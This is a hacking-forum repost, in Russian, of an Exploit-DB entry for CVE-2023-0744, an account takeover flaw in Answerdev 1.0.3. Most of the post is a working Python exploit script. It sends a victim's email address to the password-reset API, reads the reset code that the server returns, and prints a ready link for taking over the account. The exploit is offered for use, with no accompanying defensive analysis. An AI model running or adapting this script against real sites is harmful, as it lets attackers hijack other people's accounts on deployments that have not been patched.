Exploit Answerdev 1.0.3 - Account Takeover

  • Автор темы Exploiter
  • Дата начала
  • Просмотров 2299 Просмотров

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
51257
Проверка EDB
  1. Пройдено
Автор
EDUARDO PéREZ-MALUMBRES CERVERA
Тип уязвимости
WEBAPPS
Платформа
GO
CVE
cve-2023-0744
Дата публикации
2023-04-05
Answerdev 1.0.3 - Account Takeover
Код:
# Exploit Title: Answerdev 1.0.3 - Account Takeover 
# Date: Reported on Jan 24th 2023
# Exploit Author: Eduardo Pérez-Malumbres Cervera @blueudp
# Vendor Homepage: https://answer.dev/
# Software Link: https://github.com/answerdev/answer
# Version: 1.0.3
# Tested on: Ubuntu 22.04 / Debian 11
# CVE : CVE-2023-0744


from sys import argv
import urllib3
from requests import post

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def ato(url: list, email: str) -> str:
    try:
        return f"Your Link: {''.join(url)}users/password-reset?code=" + \
               post(f"{''.join(url)}answer/api/v1/user/password/reset", json={"e_mail": email}, verify=False).json()["data"]
    except Exception as err:
        return f"Cant reach URL: {err}"


if __name__ == "__main__":
    if len(argv) != 3:
        print(f"Usage: {argv[0]} https://answer.domain/ [email protected]")
        exit()

    print(ato([argv[1] if argv[1].endswith("/") else argv[1] + "/"], str(argv[2])))
 
Источник
www.exploit-db.com

Похожие темы